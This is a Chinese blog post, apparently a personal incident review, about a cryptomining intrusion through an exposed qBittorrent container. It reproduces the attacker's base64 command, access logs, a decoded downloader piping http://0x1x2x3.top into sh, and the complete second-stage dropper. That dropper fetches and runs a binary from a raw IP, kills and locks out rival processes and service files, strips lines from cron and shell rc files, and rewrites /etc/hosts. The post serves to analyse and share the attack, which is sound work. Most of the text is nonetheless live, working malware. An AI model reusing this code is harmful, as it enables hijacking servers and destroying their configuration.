记一次服务器被植入挖矿程序复盘

代码工程  ·  2026-04-03

进程

4月2日下午4点多,阿里云进行报警,有程序使用base64解码进行高危代码释放。
第一时间进入运维查看,确实,已经开始挖矿了,首先先掐断这2个高cpu占用。
请输入图片描述

然后看怎么来的。阿里跟我说从我的qb服务来的。

进程路径:/bin/busybox
进程ID:3389013
父进程文件路径:/usr/bin/qbittorrent-nox
父进程ID:3389012
进程链:
-[651] /usr/bin/containerd

-[1412318]  /usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id 76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b start
    -[1412327]  /usr/bin/containerd-shim-runc-v2 -namespace moby -id 76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b -address /run/containerd/containerd.sock
        -[1412339]  runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b/init.pid 76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b
            -[1412348]  runc init
                -[1412349]  runc init
                    -[1412350]  tini -g -- entrypoint.sh
                        -[1412438]  qbittorrent-nox
                            -[3389012]  qbittorrent-nox
                                -[3389013]  /bin/sh -c echo IyEvYmluL3NoCl9fZCgpIHsgbG9jYWwgX3VybD0iJDEiIF9ob3N0cG9ydCBfaG9zdCBfcG9ydCBfcGF0aDsgX2hvc3Rwb3J0PSQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xeaHR0cHM/Oi8vfHw7c3wvLip8fCcpOyBfcG9ydD0kKHByaW50ZiAnJXMnICIkX2hvc3Rwb3J0IiB8IGdyZXAgLW8gJzpbMC05XSonIHwgdHIgLWQgJzonKTsgX2hvc3Q9JChwcmludGYgJyVzJyAiJF9ob3N0cG9ydCIgfCBzZWQgJ3N8Oi4qfHwnKTsgX3BhdGg9LyQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xodHRwcz86Ly9bXi9dKi8/fHwnKTsgWyAteiAiJF9ob3N0IiBdICYmIHJldHVybiAxOyB7IGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtc1NvIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXFPIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHB5dGhvbjMgPi9kZXYvbnVsbCAyPiYxICYmIHB5dGhvbjMgLWMgImltcG9ydCB1cmxsaWIucmVxdWVzdCBhcyB1LHN5czsgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUodS51cmxvcGVuKCckX3VybCcpLnJlYWQoKSkiIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyB9OyBjb21tYW5kIC12IHBlcmwgPi9kZXYvbnVsbCAyPiYxICYmIHsgcGVybCAtTUhUVFA6OlRpbnkgLWUgIm15IFwkcj1IVFRQOjpUaW55LT5uZXctPmdldCgnJF91cmwnKTsgZGllIHVubGVzcyBcJHItPntzdWNjZXNzfTsgcHJpbnQgXCRyLT57Y29udGVudH0iIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyBwZXJsIC1NSU86OlNvY2tldDo6SU5FVCAtZSAnbXkgJHM9SU86OlNvY2tldDo6SU5FVC0+bmV3KCInIiR7X2hvc3R9OiR7X3BvcnQ6LTgwfSInIikgb3IgZGllICQhOyBwcmludCAkcyAiR0VUICciJF9wYXRoIicgSFRUUC8xLjBcclxuSG9zdDogJyIkX2hvc3QiJ1xyXG5cclxuIjsgMSB3aGlsZSA8JHM+ICF+IC9eXHI/JC87IHByaW50IHdoaWxlIDwkcz47JyAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgfQpfX2QgaHR0cDovLzB4MXgyeDMudG9wIHwgL2Jpbi9zaAo= | base64 -d | sh

容器名:qbittorrentee
容器ID:76d110e2c254354d63b250d26fc955ea00b46b5c512e1037b685460f2d311e8b
镜像ID:ddsderek/qbittorrentee@sha256:f4503c487f9b2c6f5b53a349ae6f1d863c57c93849c8808f309c9117d9f56216
镜像名:ddsderek/qbittorrentee:latest
容器hostname:c15a5d515439
容器主ip:172.18.0.3
容器视角进程路径:/proc/1412350/root/bin/busybox

奇怪,qb是怎么能自己跑这段代码的呢?报着疑惑我点开网站日志。

104.168.28.15 - - [02/Apr/2026:15:44:44 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" "-"
104.168.28.15 - - [02/Apr/2026:15:44:45 +0800] "GET / HTTP/2.0" 200 4622 "http://qb.rino.ink/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" "-"
104.168.28.15 - - [02/Apr/2026:16:06:42 +0800] "GET / HTTP/1.1" 200 4622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" "-"
104.168.28.15 - - [02/Apr/2026:16:06:43 +0800] "POST /api/v2/auth/login HTTP/1.1" 200 3 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" "-"
104.168.28.15 - - [02/Apr/2026:16:06:43 +0800] "GET /api/v2/app/preferences HTTP/1.1" 200 2501 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:06:44 +0800] "POST /api/v2/app/setPreferences HTTP/1.1" 200 0 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:06:44 +0800] "POST /api/v2/app/setPreferences HTTP/1.1" 200 0 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:06:45 +0800] "POST /api/v2/torrents/delete HTTP/1.1" 200 0 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:06:45 +0800] "POST /api/v2/torrents/add HTTP/1.1" 200 3 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:06:46 +0800] "POST /api/v2/app/setPreferences HTTP/1.1" 200 0 "-" "python-requests/2.32.5" "-"
104.168.28.15 - - [02/Apr/2026:16:07:17 +0800] "POST /api/v2/torrents/delete HTTP/1.1" 200 0 "-" "python-requests/2.32.5" "-"

哦,原来被登录了,然后从qb设置中进行设置>添加了下载任务>最后还原设置>删除任务。

所以我直接暂停了qb服务的容器。
尝试解码这段base64。

#!/bin/sh
__d() { local _url="$1" _hostport _host _port _path; _hostport=$(printf '%s' "$_url" | sed -E 's|^https?://||;s|/.*||'); _port=$(printf '%s' "$_hostport" | grep -o ':[0-9]*' | tr -d ':'); _host=$(printf '%s' "$_hostport" | sed 's|:.*||'); _path=/$(printf '%s' "$_url" | sed -E 's|https?://[^/]*/?||'); [ -z "$_host" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$_url" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$_url" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$_url').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$_url'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${_host}:${_port:-80}"'") or die $!; print $s "GET '"$_path"' HTTP/1.0\r\nHost: '"$_host"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; }
__d http://0x1x2x3.top | /bin/sh

这段代码指向http://0x1x2x3.top

curl一下这个链接,得到一个脚本

#!/bin/sh
set -u
unset LD_PRELOAD
unset LD_LIBRARY_PATH
C=""; [ "$(id -u)" -ne 0 ] && sudo -n true 2>/dev/null && C="sudo"
IV=1
CT=100
OS=$(uname -s)
A=$(uname -m)
#初始化
_cf=$(mktemp -u XXXXXXXX 2>/dev/null | grep -oE '[A-Za-z0-9]{8}')
[ -n "$_cf" ] || _cf=$(printf '%08d' "$$" | cut -c1-8)
[ "$A" = "x86_64" ]&&CD="http://172.245.159.216/1"&&sha256="bdb1991d4c6577c48379d9761a47728211eb6d156e8561fe02091ef9eb01510e"&&md5="c672840d401f1041931cce1bd33cdfaf"&&cksum="2824051381 3265176"
[ "$A" = "aarch64" ]&&CD="http://172.245.159.216/2"&&sha256="b568582240509227ff7e79b6dc73c933dcc3fae674e9244441066928b1ea0560"&&md5="55d5c30e245c8c5125b58a3874b0ad8e"&&cksum="584120364 3005572"
[ "$A" = "amd64" ]&&CD="http://172.245.159.216/3"&&sha256="717c849a1331b63860cefa128a4aa5d476f300ac45fd5d3c56b2746f7e72a0d2"&&md5="08ceabdf598ab32c64d6d116321acffe"&&cksum="1769187500 8538304"

ver() {
    local f="$1"
    local a
    { [ -n "$sha256" ] && \
      a=$(sha256sum "$f" 2>/dev/null || shasum -a 256 "$f" 2>/dev/null) && \
      [ "${a%% *}" = "$sha256" ]; } ||
    { [ -n "$md5" ] && \
      a=$(md5sum "$f" 2>/dev/null || md5 -q "$f" 2>/dev/null) && \
      [ "${a%% *}" = "$md5" ]; } ||
    { [ -n "$cksum" ] && \
      a=$(cksum "$f" 2>/dev/null) && \
      [ "${a%% *} ${a#* }" = "$cksum" ]; }
}

down() {
    local _url="$1"

    local _hostport _host _port _path
    _hostport=$(printf '%s' "$_url" | sed -E 's|^https?://||;s|/.*||')
    _port=$(printf '%s' "$_hostport" | grep -o ':[0-9]*' | tr -d ':')
    _host=$(printf '%s' "$_hostport" | sed 's|:.*||')
    _path=/$(printf '%s' "$_url" | sed -E 's|https?://[^/]*/?||')
    [ -z "$_host" ] && return 1

    if command -v curl >/dev/null 2>&1; then
        curl -sSo - "$_url" 2>/dev/null && return 0
    fi

    if command -v wget >/dev/null 2>&1; then
        wget -qO - "$_url" 2>/dev/null && return 0
    fi

    if command -v python3 >/dev/null 2>&1; then
        python3 -c \
            "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$_url').read())" \
            2>/dev/null && return 0
    fi

    if command -v perl >/dev/null 2>&1; then
        perl -MHTTP::Tiny -e \
            "my \$r=HTTP::Tiny->new->get('$_url'); die unless \$r->{success}; print \$r->{content}" \
            2>/dev/null && return 0

        perl -MIO::Socket::INET -e '
            my $s = IO::Socket::INET->new("'"${_host}:${_port:-80}"'") or die $!;
            print $s "GET '"$_path"' HTTP/1.0\r\nHost: '"$_host"'\r\n\r\n";
            1 while <$s> !~ /^\r?$/;
            print while <$s>;
        ' 2>/dev/null && return 0
    fi

    if command -v nc >/dev/null 2>&1; then
        printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "$_path" "$_host" \
            | nc "$_host" "${_port:-80}" \
            | sed '1,/^\r$/d' && return 0
    fi

    return 1
}

PK=false
[ -d /proc ] && [ -d /proc/1 ] && PK=true

ulk() {
    case "$OS" in
        FreeBSD|Darwin) $C chflags nouchg,noschg "$1" 2>/dev/null || true ;;
        *)              $C chattr -ia            "$1" 2>/dev/null || true ;;
    esac
}

lk() {
    case "$OS" in
        FreeBSD|Darwin) $C chflags uchg "$1" 2>/dev/null || true ;;
        *)              $C chattr +i    "$1" 2>/dev/null || true ;;
    esac
}

gep() {
    if $PK && [ -L "/proc/$1/exe" ]; then
        readlink "/proc/$1/exe" 2>/dev/null
    elif [ "$OS" = "FreeBSD" ]; then
        procstat -b "$1" 2>/dev/null | awk 'NR==2{print $NF}'
    fi
}

gc0() {
    if $PK && [ -r "/proc/$1/cmdline" ]; then
        tr '\000' '\n' < "/proc/$1/cmdline" 2>/dev/null | sed -n '1p'
    elif [ "$OS" = "FreeBSD" ]; then
        ps -p "$1" -o comm= 2>/dev/null
    fi
}

gcl() {
    if $PK && [ -r "/proc/$1/cmdline" ]; then
        tr '\0' ' ' < "/proc/$1/cmdline" 2>/dev/null
    elif [ "$OS" = "FreeBSD" ]; then
        ps -p "$1" -wwo command= 2>/dev/null
    fi
}

gct() {
    if $PK && [ -r "/proc/$1/stat" ]; then
        awk '{print $14+$15}' "/proc/$1/stat" 2>/dev/null
    elif [ "$OS" = "FreeBSD" ]; then
        ps -p "$1" -o cputime= 2>/dev/null | awk '
        {
            gsub(/-/, ":", $0)
            n = split($0, t, ":")
            if      (n == 4) print int((t[1]*86400 + t[2]*3600 + t[3]*60 + t[4])*100)
            else if (n == 3) print int((t[1]*3600  + t[2]*60   + t[3]        )*100)
            else if (n == 2) print int((t[1]*60    + t[2]                    )*100)
        }'
    fi
}


fpp() {
    if $PK; then
        local _inodes _ti _pid _pid_dir _fd _tgt
        _inodes=$(awk -v port="$1" '
            NR > 1 {
                split($2, a, ":"); split($3, b, ":")
                if (a[2] == port || b[2] == port) print $10
            }
        ' /proc/net/tcp /proc/net/tcp6 2>/dev/null)
        [ -n "$_inodes" ] || return 0
        for _pid_dir in /proc/[0-9]*/fd; do
            [ -d "$_pid_dir" ] || continue
            _pid="${_pid_dir%/fd}"; _pid="${_pid##*/}"
            for _fd in "$_pid_dir"/*; do
                _tgt=$(readlink "$_fd" 2>/dev/null) || continue
                for _ti in $_inodes; do
                    [ "$_tgt" = "socket:[$_ti]" ] && { printf '%s\n' "$_pid"; break 2; }
                done
            done
        done
    elif [ "$OS" = "FreeBSD" ]; then
        local _dp
        _dp=$(printf '%d' "0x$1" 2>/dev/null) || return 0
        sockstat -46 -p "$_dp" 2>/dev/null | awk 'NR > 1 && $5 ~ /^tcp/ { print $3 }'
    fi
}

lap() {
    if $PK; then
        for _lpd in /proc/[0-9]*; do
            [ -d "$_lpd" ] && printf '%s\n' "${_lpd##*/}"
        done
    else
        ps -axo pid= 2>/dev/null | tr -d ' '
    fi
}

sfp() {
    if command -v systemctl >/dev/null 2>&1; then
        systemctl status "$1" 2>/dev/null \
            | grep -oE '[A-Za-z0-9._@:-]+\.service' | head -n1
    elif [ "$OS" = "FreeBSD" ]; then
        local _e _b
        _e=$(gep "$1") || return 0
        _b=$(basename "$_e" 2>/dev/null) || return 0
        for _rd in /etc/rc.d /usr/local/etc/rc.d; do
            [ -f "$_rd/$_b" ] && printf '%s\n' "$_b" && return 0
        done
    fi
}

svs() {
    if command -v systemctl >/dev/null 2>&1; then
        $C systemctl stop    "$1" 2>/dev/null || true
        $C systemctl disable "$1" 2>/dev/null || true
    elif [ "$OS" = "FreeBSD" ]; then
        $C service "$1" stop 2>/dev/null || true
        $C sed -i '' "/^${1}_enable=/d" /etc/rc.conf 2>/dev/null || true
    fi
}

sup() {
    case "$OS" in
        FreeBSD) printf '/etc/rc.d\n/usr/local/etc/rc.d\n' ;;
        *)       printf '/etc/systemd/system\n/run/systemd/system\n/usr/local/lib/systemd/system\n' ;;
    esac
}

sfg() {
    command -v systemctl >/dev/null 2>&1 && \
        systemctl show -p FragmentPath "$1" 2>/dev/null | cut -d= -f2 || true
}

srl() {
    command -v systemctl >/dev/null 2>&1 && \
        $C systemctl daemon-reload 2>/dev/null || true
}

TW=$(
    _n=0; _seen=""
    while IFS= read -r _m && [ "$_n" -lt 5 ]; do
        case " $_seen " in *" $_m "*) continue ;; esac
        touch "$_m/.p$$" 2>/dev/null || continue
        rm -f "$_m/.p$$" 2>/dev/null || true
        [ -d "$_m" ] && [ -x "$_m" ] || continue
        _seen="$_seen $_m"; _n=$((_n+1))
        printf '%s ' "$_m"
    done << _MOUNTS
$(printf '/tmp\n'; df -h 2>/dev/null | awk 'NR>1{print $NF}')
_MOUNTS
)
[ -n "$TW" ] || TW=/tmp

SELF=$$
PP=$(awk '{print $4}' /proc/$SELF/stat 2>/dev/null || \
     ps -p "$SELF" -o ppid= 2>/dev/null | tr -d ' ' || echo 0)
GPP=$(awk '{print $4}' /proc/$PP/stat 2>/dev/null || \
      ps -p "$PP"   -o ppid= 2>/dev/null | tr -d ' ' || echo 0)

isp() {
    [ "$1" = "$SELF" ] || [ "$1" = "$PP" ] || [ "$1" = "$GPP" ] || [ "$1" = "1" ] && return 0
    case " $CP " in *" $1 "*) return 0 ;; esac
    return 1
}

CP=""
for _p in $(fpp "4E1F"); do
    [ -n "$_p" ] || continue
    _c0=$(gc0 "$_p") || continue
    case "$_c0" in ./*) _base="${_c0#./}" ;; *) _base="${_c0##*/}" ;; esac
    case "$_base" in
        [A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9]) ;;
        *) continue ;;
    esac
    CP="$CP $_p"
done
unset _p _c0 _base

kar() {
    local pid="$1"

    isp "$pid" && return 0

    kill -0 "$pid" 2>/dev/null || return 0

    local exe
    exe=$(gep "$pid") || return 0
    [ -n "$exe" ] || return 0

    if $PK && [ -L "/proc/$pid/exe" ]; then
        local recheck
        recheck=$(readlink "/proc/$pid/exe" 2>/dev/null) || true
        [ "$exe" = "$recheck" ] || return 0
    fi

    local svc
    svc=$(sfp "$pid")

    if [ -n "$svc" ]; then
        svs "$svc"

        local unit_path
        unit_path=$(sfg "$svc")

        if [ -n "$unit_path" ] && [ -f "$unit_path" ]; then
            ulk "$unit_path"
            $C rm -f "$unit_path" 2>/dev/null || true
        else
            sup | while IFS= read -r spath; do
                ulk "$spath/$svc"
                $C rm -f "$spath/$svc" 2>/dev/null || true
            done
        fi

        sup | while IFS= read -r spath; do
            local f="$spath/$svc"
            $C touch     "$f" 2>/dev/null && \
            $C chmod 000 "$f" 2>/dev/null && \
            lk           "$f" || true
        done

        srl
    fi

    ulk "$exe"
    $C rm -f    "$exe" 2>/dev/null || true
    $C touch    "$exe" 2>/dev/null && \
    $C chmod 000 "$exe" 2>/dev/null && \
    lk          "$exe" || true

    kill -9 "$pid" 2>/dev/null || true
}

for pid in $(lap); do
    isp "$pid" && continue

    c=$(gc0 "$pid") || continue
    [ -n "$c" ] || continue

    case $c in /*) ;; *) continue ;; esac

    case $c in
        /bin/sh|/bin/bash|/usr/bin/sh|/usr/bin/bash|\
        /sbin/init|/usr/sbin/sshd|/bin/login|/sbin/getty|\
        *[[:space:]]*)
            continue ;;
    esac

    s=$c; n=0
    while :; do
        case $s in */*) n=$((n+1)); s=${s#*/} ;; *) break ;; esac
    done
    [ "$n" -gt 2 ] && continue

    kar "$pid"
done

for pid in $(lap); do
    isp "$pid" && continue

    exe=$(gep "$pid") || continue
    [ -n "$exe" ] || continue
    cmd=$(gcl "$pid") || continue

    fp="$exe $cmd"
    matched=false

    case "$fp" in
        *:3333*|*:3334*|*:3335*|*:3636*|*:3838*|*:4444*|*:4500*|*:4600*|\
        *:5555*|*:6666*|*:7777*|*:8888*|*:9999*|*:14444*|*:45700*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *xmrig*|*xmrig-cpu*|*xmrig-miner*|*xmrigMiner*|*xmrigd*|\
        *xmr-stak*|*xmr-stak-cpu*|*xmr-stak-rx*|*xmr*|\
        *cpuminer*|*minerd*|*cgminer*|*bfgminer*|*ethminer*|*claymore*|\
        *t-rex*|*nbminer*|*teamredminer*|*lolminer*|*phoenixminer*|\
        *nanominer*|*srbminer*|*z-enemy*|*coinhive*|*cryptonight*|\
        *stratum*|*wpool_miner*|*crond64*|*kdevtmpfsi*|\
        *tmpxmrig*|*tmpmine*|*tmpminer*|*tmpcrypto*|\
        *z0Miner*|*h2miner*|*8220miner*|*xig*|*xigminer*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *mirai*|*gafgyt*|*tsunami*|*kaiten*|*dofloo*|*ddos*|*flood*|\
        *botnet*|*masscan*|*zgrab*|*zmap*|*pnscan*|*mrx*|*mrxmr*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *backdoor*|*rootkit*|*dropper*|*payload*|\
        *ptycmd*|*ptyd*|*ptysh*|*ptyspawn*|*pty*|\
        *vshell*|*etherrat*|*proton*|*tor2web*|\
        *meshagent*|*mesh_services*|\
        *sshds*|*sshd-new*|*sshd_config*|\
        *filemanager-standalone.js*|*fm.js*|*zndoor*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *kinsing*|*kinsing_agent*|*kinsing_updater*|\
        *sysrv*|*kerberods*|*watchbog*|\
        *kworkerds*|*kthreaddk*|*kthrotlds*|\
        *ksoftirqd*|*ksoftirqds*|*kswapdoor*|*kswapd0*|*khugepaged*|\
        *systemd-daemon*|*systemd-service*|*systemd-core*|\
        *systemd-update*|*system-check*|*system-update-service*|\
        *sysguard*|*sysupdate*|*sysupdata*|*syslogd-new*|*syslogd64*|\
        *javaupdate*|*javaupdater*|*javax*|\
        *nginxd*|*nginxx*|*nextjss*|*netd*|*netns*|\
        *dbused*|*pamdicks*|*pamssod*|*rsyslo*|*softirqd*|\
        *bioset*|*sustes*|*sustsecd*|*syssls*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *0dd1429aws*|*svc_198*|*XXKkDDke*|*DiagServer*|*ci87vl87*|\
        *fghgf*|*ddg*|*noodle*|*rondo*|*suppoie*|*snowlight*|\
        *slt*|*pex*|*aws-network-proxy*|*carbon2*|\
        *timesyncd*|*alived*|*defunct*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        */tmp/appInsight*|*/tmp/x86*|*/dev/shm/*|\
        *a.sh*|*b.sh*|*c.sh*|*d5.sh*|*x.sh*|*ld.sh*|*ldd.sh*|\
        *1337.sh*|*run.sh*|*start.sh*|*setup.sh*|*init.sh*|\
        *update.sh*|*upd.sh*|*get.sh*|*find.sh*|*mon.sh*|\
        *health.sh*|*watch.sh*|*watchdog.sh*|*cleanup.sh*|\
        *cron.sh*|*crontab.sh*|*curl.sh*|*sex.sh*|*temp.sh*|\
        *killer.sh*|*bash.sh*|*bashfork*|*run-diag.sh*|\
        *start-miner.sh*|*bootstrap.sh*)
            matched=true ;;
    esac

    $matched || case "$fp" in
        *pastebin*|*hxxp*|*hxxps*|*auth.log*|*blkid*|\
        *vim*|*.svc*|*.x86*)
            matched=true ;;
    esac

    if ! $matched; then
        if printf '%s\n' "$fp" \
            | grep -qE '(^|[^A-Za-z0-9])([48][A-Za-z0-9]{94})([^A-Za-z0-9]|$)'; then
            matched=true
        fi
    fi

    $matched && kar "$pid"
done

for pid in $(lap); do
    ticks=$(gct "$pid") || continue
    [ -n "$ticks" ] || continue
    eval "snap_${pid}=${ticks}"
done

sleep "$IV"

for pid in $(lap); do
    isp "$pid" && continue
    eval "before_ticks=\${snap_${pid}:-}"
    [ -n "$before_ticks" ] || continue

    ticks=$(gct "$pid") || continue
    [ -n "$ticks" ] || continue
    delta=$(( ticks - before_ticks ))

    [ "$delta" -gt "$CT" ] && kar "$pid"
done

IR='reboot|curl|wget|base64|nohup|python'
IR="${IR}|\.\/"
IR="${IR}|eval[[:space:]].*(base64|curl|wget)"
IR="${IR}|source[[:space:]]+(\/tmp\/|\/dev\/shm\/|\/var\/tmp\/)"
IR="${IR}|exec[[:space:]]+(\/tmp\/|\/dev\/shm\/|\/var\/tmp\/)"

clf() {
    local f="$1"
    [ -f "$f" ] || return 0
    ulk "$f"
    $C chmod ugo+w "$f" 2>/dev/null || true
    if grep -qiE "$IR" "$f" 2>/dev/null; then
        local fname
        fname=$(mktemp -u XXXXXXXX 2>/dev/null | grep -o '[^/]*$')
        [ -n "$fname" ] || fname="tmpclean_$$"
        local tmp="${TW%% *}/$fname"
        grep -ivE "$IR" "$f" > "$tmp" 2>/dev/null \
            && cat "$tmp" > "$f" || true
        rm -f "$tmp"
    fi
}

for f in "$HOME"/.*rc "$HOME/.profile"; do
    [ -f "$f" ] && clf "$f" || true
done

for cronpath in /etc/cron* /var/spool/cron* /var/cron/tabs; do
    [ -e "$cronpath" ] || continue
    if [ -f "$cronpath" ]; then
        clf "$cronpath"
    elif [ -d "$cronpath" ]; then
        find "$cronpath" -type f 2>/dev/null | while IFS= read -r f; do
            clf "$f"
        done
    fi
done

ulk /etc/hosts

if ! grep -q '#####' /etc/hosts 2>/dev/null; then
    $C tee -a /etc/hosts >/dev/null <<'HOSTS_BLOCK'

#####
127.0.0.1 pool.minexmr.com minexmr.com
127.0.0.1 pool.supportxmr.com supportxmr.com
127.0.0.1 xmr.pool.minergate.com minergate.com
127.0.0.1 xmr-eu1.nanopool.org xmr-eu2.nanopool.org xmr-us-east1.nanopool.org xmr-us-west1.nanopool.org xmr-asia1.nanopool.org
127.0.0.1 xmr.2miners.com
127.0.0.1 xmr.hashcity.org
127.0.0.1 xmrpool.eu
127.0.0.1 pool.hashvault.pro hashvault.pro
127.0.0.1 xmr.f2pool.com
127.0.0.1 xmrpool.net
127.0.0.1 monerohash.com
127.0.0.1 moneroocean.stream
127.0.0.1 gulf.moneroocean.stream
127.0.0.1 xmr.crypto-pool.fr
127.0.0.1 dwarfpool.com xmr.dwarfpool.com
127.0.0.1 xmr.prohash.net
127.0.0.1 miningpoolhub.com xmr.miningpoolhub.com
127.0.0.1 herominers.com xmr.herominers.com
127.0.0.1 xmr.solopool.org
127.0.0.1 randomxmonero.auto.nicehash.com
127.0.0.1 viaxmr.com
127.0.0.1 bohemianpool.com
127.0.0.1 xmrminerpro.com
127.0.0.1 skypool.org
127.0.0.1 monero.herominers.com
127.0.0.1 pool.xmr.pt
127.0.0.1 xmr.kryptex.network
127.0.0.1 unmineable.com
127.0.0.1 rx.unmineable.com
HOSTS_BLOCK
fi

hosts_clean=$(grep -v 'c3pool' /etc/hosts 2>/dev/null) || true
[ -n "$hosts_clean" ] && printf '%s\n' "$hosts_clean" | $C tee /etc/hosts >/dev/null || true

$C chmod 644 /etc/hosts 2>/dev/null || true

_cu=false
for _p in $(fpp "4E1F"); do
    [ -n "$_p" ] || continue
    _c0=$(gc0 "$_p") || continue
    case "$_c0" in ./*) _base="${_c0#./}" ;; *) _base="${_c0##*/}" ;; esac
    case "$_base" in
        [A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9]) ;;
        *) continue ;;
    esac
    _cu=true; break
done
unset _p _c0 _base

if ! $_cu; then
    _ok=false
    _sd=""
    for _cd in $TW; do
        [ -n "$_cd" ] && [ -d "$_cd" ] || continue
        case " $_sd " in *" $_cd "*) continue ;; esac
        _sd="$_sd $_cd"

        touch "$_cd/.test_$$" 2>/dev/null || continue
        rm -f "$_cd/.test_$$" 2>/dev/null || true

        _cb="$_cd/$_cf"

        down "$CD" > "$_cb" 2>/dev/null
        [ -s "$_cb" ] || { rm -f "$_cb" 2>/dev/null; continue; }

        if [ -n "${sha256:-}${md5:-}${cksum:-}" ]; then
            ver "$_cb" || { rm -f "$_cb" 2>/dev/null; continue; }
        fi

        chmod +x "$_cb" 2>/dev/null || { rm -f "$_cb" 2>/dev/null; continue; }

        (cd "$_cd" && ./"$_cf") >/dev/null 2>&1

        sleep 3

        _lp=""
        for _p in $(lap); do
            _xe=$(gep "$_p") || continue
            case "$_xe" in *"$_cf"*) ;; *) continue ;; esac
            _lp="$_p"; break
        done

        if [ -n "$_lp" ]; then
            _ok=true
            break
        fi

        rm -f "$_cb" 2>/dev/null || true
    done
fi
unset _cu _ok _cd _cb _sd _lp _p _xe

h=0
for pid in $(fpp "4E1F"); do
    _c0=$(gc0 "$pid") || continue
    case "$_c0" in ./*) _base="${_c0#./}" ;; *) _base="${_c0##*/}" ;; esac
    case "$_base" in
        [A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9][A-Za-z0-9]) ;;
        *) continue ;;
    esac
    if [ "$h" -gt 0 ]; then
        if [ "$pid" -gt "$h" ]; then
            kill -9 "$h" 2>/dev/null || true
            h="$pid"
        else
            kill -9 "$pid" 2>/dev/null || true
        fi
    else
        h="$pid"
    fi
done
